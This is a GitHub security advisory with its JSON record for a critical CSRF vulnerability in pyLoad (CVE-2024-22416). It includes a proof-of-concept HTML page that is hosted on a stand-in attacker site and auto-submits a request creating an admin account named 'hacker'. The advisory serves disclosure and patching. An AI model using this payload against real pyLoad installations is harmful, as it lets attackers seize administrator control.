ghsa-pgpj-v85q-h5fm
Vulnerability from github
Published
2024-01-19 15:27
Modified
2024-10-21 21:06
Severity ?
9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Summary
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
Details

Summary

The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

PoC

We host the following HTML file on an attacker-controlled server. ```html

```

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application. image

The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker. image

Impact

Any API call can be made via a CSRF attack by an unauthenticated user.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-19T15:27:12Z",
    "nvd_published_at": "2024-01-18T00:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator\u0027s browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\"\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n",
  "id": "GHSA-pgpj-v85q-h5fm",
  "modified": "2024-10-21T21:06:20Z",
  "published": "2024-01-19T15:27:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22416"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation"
}


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